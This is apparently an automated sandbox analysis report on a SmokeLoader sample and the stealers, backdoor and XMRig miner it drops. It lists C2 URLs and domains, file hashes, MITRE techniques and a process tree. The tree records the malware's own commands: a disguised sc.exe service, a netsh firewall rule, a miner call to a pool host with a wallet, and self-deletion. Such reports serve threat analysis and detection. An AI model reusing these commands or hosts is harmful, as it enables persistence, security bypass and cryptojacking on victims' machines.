Analysis

  • max time kernel
    141s
  • max time network
    172s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    30-11-2021 06:27

General

  • Target

    8131389c6bbb5add145d082d2d86e42f.exe

  • Size

    159KB

  • MD5

    8131389c6bbb5add145d082d2d86e42f

  • SHA1

    f55ee18b4411b999d9da052304150b62b26e13b4

  • SHA256

    0f70b97e25538751af7e842b655e79f97e0665ebcedd4be7a73f413ca7a6c939

  • SHA512

    9049ec5a254a8aff3f860ba592ad3d23c9e1c968a0a5e43019e0109e4b9c9f42080b3f3107aff4480e2682163e504c592c688af2d497b8131541c6dbc59790f9

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

quadoil.ru

lakeflex.ru

Extracted

Family

arkei

Botnet

Default

C2

http://file-file-host4.com/tratata.php

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • CryptBot

    A C++ stealer distributed widely in bundle with other software.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8131389c6bbb5add145d082d2d86e42f.exe
    "C:\Users\Admin\AppData\Local\Temp\8131389c6bbb5add145d082d2d86e42f.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:784
    • C:\Users\Admin\AppData\Local\Temp\8131389c6bbb5add145d082d2d86e42f.exe
      "C:\Users\Admin\AppData\Local\Temp\8131389c6bbb5add145d082d2d86e42f.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1080
  • C:\Users\Admin\AppData\Local\Temp\8DBF.exe
    C:\Users\Admin\AppData\Local\Temp\8DBF.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:972
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gpnmodkt\
      2⤵
        PID:1872
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ujkqdoih.exe" C:\Windows\SysWOW64\gpnmodkt\
        2⤵
          PID:1536
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gpnmodkt binPath= "C:\Windows\SysWOW64\gpnmodkt\ujkqdoih.exe /d\"C:\Users\Admin\AppData\Local\Temp\8DBF.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1624
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description gpnmodkt "wifi internet conection"
            2⤵
              PID:1700
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start gpnmodkt
              2⤵
                PID:284
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:456
              • C:\Windows\SysWOW64\gpnmodkt\ujkqdoih.exe
                C:\Windows\SysWOW64\gpnmodkt\ujkqdoih.exe /d"C:\Users\Admin\AppData\Local\Temp\8DBF.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:568
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1708
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1700
              • C:\Users\Admin\AppData\Local\Temp\CC45.exe
                C:\Users\Admin\AppData\Local\Temp\CC45.exe
                1⤵
                • Executes dropped EXE
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:1912
              • C:\Users\Admin\AppData\Local\Temp\D2AC.exe
                C:\Users\Admin\AppData\Local\Temp\D2AC.exe
                1⤵
                • Executes dropped EXE
                PID:1220
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\D2AC.exe" & exit
                  2⤵
                    PID:280
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 5
                      3⤵
                      • Delays execution with timeout.exe
                      PID:1688
                • C:\Users\Admin\AppData\Local\Temp\DB35.exe
                  C:\Users\Admin\AppData\Local\Temp\DB35.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:1732
                  • C:\Users\Admin\AppData\Local\Temp\DB35.exe
                    C:\Users\Admin\AppData\Local\Temp\DB35.exe
                    2⤵
                    • Executes dropped EXE
                    PID:1036
                • C:\Users\Admin\AppData\Local\Temp\F645.exe
                  C:\Users\Admin\AppData\Local\Temp\F645.exe
                  1⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Checks processor information in registry
                  PID:1368
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\vHEhSbvCaA & timeout 4 & del /f /q "C:\Users\Admin\AppData\Local\Temp\F645.exe"
                    2⤵
                      PID:1720
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout 4
                        3⤵
                        • Delays execution with timeout.exe
                        PID:1536
                  • C:\Windows\system32\regsvr32.exe
                    regsvr32 /s C:\Users\Admin\AppData\Local\Temp\350.dll
                    1⤵
                    • Loads dropped DLL
                    PID:1000
                  • C:\Users\Admin\AppData\Local\Temp\1230.exe
                    C:\Users\Admin\AppData\Local\Temp\1230.exe
                    1⤵
                      PID:548

                    Network

                    MITRE ATT&CK Matrix ATT&CK v6

                    Persistence

                    New Service

                    1
                    T1050

                    Modify Existing Service

                    1
                    T1031

                    Registry Run Keys / Startup Folder

                    1
                    T1060

                    Privilege Escalation

                    New Service

                    1
                    T1050

                    Defense Evasion

                    Disabling Security Tools

                    1
                    T1089

                    Modify Registry

                    2
                    T1112

                    Virtualization/Sandbox Evasion

                    1
                    T1497

                    Discovery

                    Query Registry

                    4
                    T1012

                    Virtualization/Sandbox Evasion

                    1
                    T1497

                    System Information Discovery

                    5
                    T1082

                    Peripheral Device Discovery

                    1
                    T1120

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Temp\1230.exe
                      MD5

                      0a3c7ef159f8cec686f9ebc1c89b52d5

                      SHA1

                      9d39cfdf92b389868a076287d957fd68595f83f2

                      SHA256

                      a769f0af8b00ee992d88b250eedae5a1d1a23d4532aa7e69574869fb3cafa565

                      SHA512

                      7a0990d834eeef5668a40f47aba43d00f9e890ad4a1b4fbc915b373598bddbae83f088ee3a75e84d22ff09384c3c3ca8ccbcdb2eb85d713d7ecc1f61ca681aeb

                    • C:\Users\Admin\AppData\Local\Temp\1230.exe
                      MD5

                      0a3c7ef159f8cec686f9ebc1c89b52d5

                      SHA1

                      9d39cfdf92b389868a076287d957fd68595f83f2

                      SHA256

                      a769f0af8b00ee992d88b250eedae5a1d1a23d4532aa7e69574869fb3cafa565

                      SHA512

                      7a0990d834eeef5668a40f47aba43d00f9e890ad4a1b4fbc915b373598bddbae83f088ee3a75e84d22ff09384c3c3ca8ccbcdb2eb85d713d7ecc1f61ca681aeb

                    • C:\Users\Admin\AppData\Local\Temp\350.dll
                      MD5

                      2ee33ef3b24574c9fb54fd75e29fdf6e

                      SHA1

                      158a048f5f5feac85eb5791fbb25ba6aaf262712

                      SHA256

                      46e20b3931c4550ade3e4abd395a289621ea3f42f6aa44c90083ebb7f7be2704

                      SHA512

                      0655a316b91070c8275afba7ab8437da66cd8b00e4ddcc58c86fa28444deb66700d19e76e93329910c7e44ef28ec488556e2026221980b6aacaa804745a56c5e

                    • C:\Users\Admin\AppData\Local\Temp\8DBF.exe
                      MD5

                      e7f606299a819430be235ed185050de1

                      SHA1

                      73a88c1712d1c91731f7557c4a023b1599c5ac6c

                      SHA256

                      4f140797fa904582e8422edd3bc1c661b72a1a1ee23a329173017e20901e25ca

                      SHA512

                      cc78cd7711c2eaa7ed3ba52f77fdb02096bca1c35dbfff3576aa72d7273dfb7fa388b51c605188c7c66fa2cdc7d4d48b6d1652bc390de5e91ec2a97455e95c12

                    • C:\Users\Admin\AppData\Local\Temp\8DBF.exe
                      MD5

                      e7f606299a819430be235ed185050de1

                      SHA1

                      73a88c1712d1c91731f7557c4a023b1599c5ac6c

                      SHA256

                      4f140797fa904582e8422edd3bc1c661b72a1a1ee23a329173017e20901e25ca

                      SHA512

                      cc78cd7711c2eaa7ed3ba52f77fdb02096bca1c35dbfff3576aa72d7273dfb7fa388b51c605188c7c66fa2cdc7d4d48b6d1652bc390de5e91ec2a97455e95c12

                    • C:\Users\Admin\AppData\Local\Temp\CC45.exe
                      MD5

                      646cc8edbe849bf17c1694d936f7ae6b

                      SHA1

                      68b8e56cd63da79a8ace5c70f22cd0a6b3672497

                      SHA256

                      836e9de6ff5057a4964402ed5a9695e270a7db9e0d8b756a99203befa70fc4b7

                      SHA512

                      92df2e2fcfc8c0c2789222966f09b1c295e2b4d2f5d86a10d513dd05749507792d3df78b5f1d605517bba86cbc48c7ba6c9b54d8aba246a1b2cc0a75f626d9d1

                    • C:\Users\Admin\AppData\Local\Temp\D2AC.exe
                      MD5

                      67593d2711cec7c58fe2fbf5a887ffe9

                      SHA1

                      8765dcc79d6db6f92b86745d5e46227884c85fb3

                      SHA256

                      12ec6a02fd34a7537ed464480f17251d06393558abae04e606c50edbecbea2af

                      SHA512

                      c3ac506a071c335adc2da90470359602ab76fd95ed9c36b15b22e8c81522a2da03ce1d6949c7d8d4b2acc74be2a30968634146f5b1ff1ec0df757879291903c0

                    • C:\Users\Admin\AppData\Local\Temp\DB35.exe
                      MD5

                      3df70f848430f516ffdba0798f593277

                      SHA1

                      aa3201fc95345a3863c5439093650c5334c3b8c0

                      SHA256

                      48285ed84ea01416c70930dbe889141f0e3a266412d53edfa61932ef6e8d534b

                      SHA512

                      dd2759a97639162ee0e05e38fae15c34391b60850df57d2b7d55268ef06b42fc0f4fd5614584361f55fd33d20ab6c6f82db042b24e74ca832812a75f082d8ab5

                    • C:\Users\Admin\AppData\Local\Temp\DB35.exe
                      MD5

                      3df70f848430f516ffdba0798f593277

                      SHA1

                      aa3201fc95345a3863c5439093650c5334c3b8c0

                      SHA256

                      48285ed84ea01416c70930dbe889141f0e3a266412d53edfa61932ef6e8d534b

                      SHA512

                      dd2759a97639162ee0e05e38fae15c34391b60850df57d2b7d55268ef06b42fc0f4fd5614584361f55fd33d20ab6c6f82db042b24e74ca832812a75f082d8ab5

                    • C:\Users\Admin\AppData\Local\Temp\DB35.exe
                      MD5

                      3df70f848430f516ffdba0798f593277

                      SHA1

                      aa3201fc95345a3863c5439093650c5334c3b8c0

                      SHA256

                      48285ed84ea01416c70930dbe889141f0e3a266412d53edfa61932ef6e8d534b

                      SHA512

                      dd2759a97639162ee0e05e38fae15c34391b60850df57d2b7d55268ef06b42fc0f4fd5614584361f55fd33d20ab6c6f82db042b24e74ca832812a75f082d8ab5

                    • C:\Users\Admin\AppData\Local\Temp\F645.exe
                      MD5

                      ca16ca4aa9cf9777274447c9f4ba222e

                      SHA1

                      1025ed93e5f44d51b96f1a788764cc4487ee477e

                      SHA256

                      0016755526279c5c404b670ecb2d81af46066d879c389924a6574ab9864b5c04

                      SHA512

                      72d8d2a729b8ce2940235d3a317ee3eb0eb8d1411e847d6d11e36484f520bb88b3cabd03716b3c2988b0a053426be14aace154f13d306883788f952cd03cf712

                    • C:\Users\Admin\AppData\Local\Temp\F645.exe
                      MD5

                      ca16ca4aa9cf9777274447c9f4ba222e

                      SHA1

                      1025ed93e5f44d51b96f1a788764cc4487ee477e

                      SHA256

                      0016755526279c5c404b670ecb2d81af46066d879c389924a6574ab9864b5c04

                      SHA512

                      72d8d2a729b8ce2940235d3a317ee3eb0eb8d1411e847d6d11e36484f520bb88b3cabd03716b3c2988b0a053426be14aace154f13d306883788f952cd03cf712

                    • C:\Users\Admin\AppData\Local\Temp\ujkqdoih.exe
                      MD5

                      fb119d61062b77d7a04f1fead24aaf1b

                      SHA1

                      612c87da5da58bdef61a7a8e9e28ac200d2ae2bf

                      SHA256

                      073861f01c92ffbfe1c6377bb776b76fc9a28ad950384610b274b6d8a7817548

                      SHA512

                      affbc53c0329f9d81422de4df070c27b9a794c4f0d75d2e9ac05068f23256bdf0224c9978bf002f9e7c9facf390c204197cfa3a6ae1c5d54d6488e5d83a94359

                    • C:\Windows\SysWOW64\gpnmodkt\ujkqdoih.exe
                      MD5

                      fb119d61062b77d7a04f1fead24aaf1b

                      SHA1

                      612c87da5da58bdef61a7a8e9e28ac200d2ae2bf

                      SHA256

                      073861f01c92ffbfe1c6377bb776b76fc9a28ad950384610b274b6d8a7817548

                      SHA512

                      affbc53c0329f9d81422de4df070c27b9a794c4f0d75d2e9ac05068f23256bdf0224c9978bf002f9e7c9facf390c204197cfa3a6ae1c5d54d6488e5d83a94359

                    • \ProgramData\mozglue.dll
                      MD5

                      8f73c08a9660691143661bf7332c3c27

                      SHA1

                      37fa65dd737c50fda710fdbde89e51374d0c204a

                      SHA256

                      3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

                      SHA512

                      0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

                    • \ProgramData\msvcp140.dll
                      MD5

                      109f0f02fd37c84bfc7508d4227d7ed5

                      SHA1

                      ef7420141bb15ac334d3964082361a460bfdb975

                      SHA256

                      334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

                      SHA512

                      46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

                    • \ProgramData\nss3.dll
                      MD5

                      bfac4e3c5908856ba17d41edcd455a51

                      SHA1

                      8eec7e888767aa9e4cca8ff246eb2aacb9170428

                      SHA256

                      e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                      SHA512

                      2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                    • \ProgramData\sqlite3.dll
                      MD5

                      e477a96c8f2b18d6b5c27bde49c990bf

                      SHA1

                      e980c9bf41330d1e5bd04556db4646a0210f7409

                      SHA256

                      16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660

                      SHA512

                      335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

                    • \ProgramData\vcruntime140.dll
                      MD5

                      7587bf9cb4147022cd5681b015183046

                      SHA1

                      f2106306a8f6f0da5afb7fc765cfa0757ad5a628

                      SHA256

                      c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

                      SHA512

                      0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

                    • \Users\Admin\AppData\Local\Temp\350.dll
                      MD5

                      2ee33ef3b24574c9fb54fd75e29fdf6e

                      SHA1

                      158a048f5f5feac85eb5791fbb25ba6aaf262712

                      SHA256

                      46e20b3931c4550ade3e4abd395a289621ea3f42f6aa44c90083ebb7f7be2704

                      SHA512

                      0655a316b91070c8275afba7ab8437da66cd8b00e4ddcc58c86fa28444deb66700d19e76e93329910c7e44ef28ec488556e2026221980b6aacaa804745a56c5e

                    • \Users\Admin\AppData\Local\Temp\DB35.exe
                      MD5

                      3df70f848430f516ffdba0798f593277

                      SHA1

                      aa3201fc95345a3863c5439093650c5334c3b8c0

                      SHA256

                      48285ed84ea01416c70930dbe889141f0e3a266412d53edfa61932ef6e8d534b

                      SHA512

                      dd2759a97639162ee0e05e38fae15c34391b60850df57d2b7d55268ef06b42fc0f4fd5614584361f55fd33d20ab6c6f82db042b24e74ca832812a75f082d8ab5

                    • memory/280-139-0x0000000000000000-mapping.dmp
                    • memory/284-73-0x0000000000000000-mapping.dmp
                    • memory/456-74-0x0000000000000000-mapping.dmp
                    • memory/548-130-0x00000000000C0000-0x00000000000C1000-memory.dmp
                      Filesize

                      4KB

                    • memory/548-141-0x0000000000350000-0x0000000000351000-memory.dmp
                      Filesize

                      4KB

                    • memory/548-135-0x0000000001F90000-0x0000000001F91000-memory.dmp
                      Filesize

                      4KB

                    • memory/548-127-0x0000000000000000-mapping.dmp
                    • memory/568-103-0x0000000000400000-0x000000000322A000-memory.dmp
                      Filesize

                      46.2MB

                    • memory/568-89-0x00000000033CB000-0x00000000033DC000-memory.dmp
                      Filesize

                      68KB

                    • memory/784-59-0x0000000000230000-0x0000000000239000-memory.dmp
                      Filesize

                      36KB

                    • memory/784-58-0x0000000000220000-0x0000000000228000-memory.dmp
                      Filesize

                      32KB

                    • memory/972-61-0x0000000000000000-mapping.dmp
                    • memory/972-67-0x0000000000400000-0x000000000322A000-memory.dmp
                      Filesize

                      46.2MB

                    • memory/972-65-0x00000000001B0000-0x00000000001C3000-memory.dmp
                      Filesize

                      76KB

                    • memory/972-63-0x000000000030B000-0x000000000031C000-memory.dmp
                      Filesize

                      68KB

                    • memory/1000-116-0x000007FEFBE91000-0x000007FEFBE93000-memory.dmp
                      Filesize

                      8KB

                    • memory/1000-115-0x0000000000000000-mapping.dmp
                    • memory/1036-100-0x0000000000402F47-mapping.dmp
                    • memory/1080-55-0x0000000000400000-0x0000000000409000-memory.dmp
                      Filesize

                      36KB

                    • memory/1080-56-0x0000000000402F47-mapping.dmp
                    • memory/1080-57-0x0000000075731000-0x0000000075733000-memory.dmp
                      Filesize

                      8KB

                    • memory/1220-82-0x0000000000000000-mapping.dmp
                    • memory/1220-87-0x0000000000400000-0x0000000002B6E000-memory.dmp
                      Filesize

                      39.4MB

                    • memory/1220-85-0x0000000000220000-0x0000000000234000-memory.dmp
                      Filesize

                      80KB

                    • memory/1220-86-0x0000000000240000-0x0000000000261000-memory.dmp
                      Filesize

                      132KB

                    • memory/1272-105-0x0000000003FA0000-0x0000000003FB6000-memory.dmp
                      Filesize

                      88KB

                    • memory/1272-60-0x0000000002C20000-0x0000000002C36000-memory.dmp
                      Filesize

                      88KB

                    • memory/1368-111-0x0000000001320000-0x0000000001A02000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/1368-106-0x0000000000000000-mapping.dmp
                    • memory/1368-112-0x0000000001320000-0x0000000001A02000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/1368-110-0x0000000001320000-0x0000000001A02000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/1368-109-0x0000000001320000-0x0000000001A02000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/1536-114-0x0000000000000000-mapping.dmp
                    • memory/1536-69-0x0000000000000000-mapping.dmp
                    • memory/1624-71-0x0000000000000000-mapping.dmp
                    • memory/1688-140-0x0000000000000000-mapping.dmp
                    • memory/1700-72-0x0000000000000000-mapping.dmp
                    • memory/1700-119-0x0000000000160000-0x0000000000251000-memory.dmp
                      Filesize

                      964KB

                    • memory/1700-120-0x0000000000160000-0x0000000000251000-memory.dmp
                      Filesize

                      964KB

                    • memory/1700-124-0x00000000001F259C-mapping.dmp
                    • memory/1708-93-0x00000000000A0000-0x00000000000B5000-memory.dmp
                      Filesize

                      84KB

                    • memory/1708-95-0x00000000000A9A6B-mapping.dmp
                    • memory/1708-94-0x00000000000A0000-0x00000000000B5000-memory.dmp
                      Filesize

                      84KB

                    • memory/1720-113-0x0000000000000000-mapping.dmp
                    • memory/1732-104-0x0000000000220000-0x0000000000228000-memory.dmp
                      Filesize

                      32KB

                    • memory/1732-90-0x0000000000000000-mapping.dmp
                    • memory/1872-68-0x0000000000000000-mapping.dmp
                    • memory/1912-76-0x0000000000000000-mapping.dmp
                    • memory/1912-79-0x0000000000220000-0x0000000000229000-memory.dmp
                      Filesize

                      36KB

                    • memory/1912-80-0x0000000000230000-0x0000000000239000-memory.dmp
                      Filesize

                      36KB

                    • memory/1912-81-0x0000000000400000-0x000000000042C000-memory.dmp
                      Filesize

                      176KB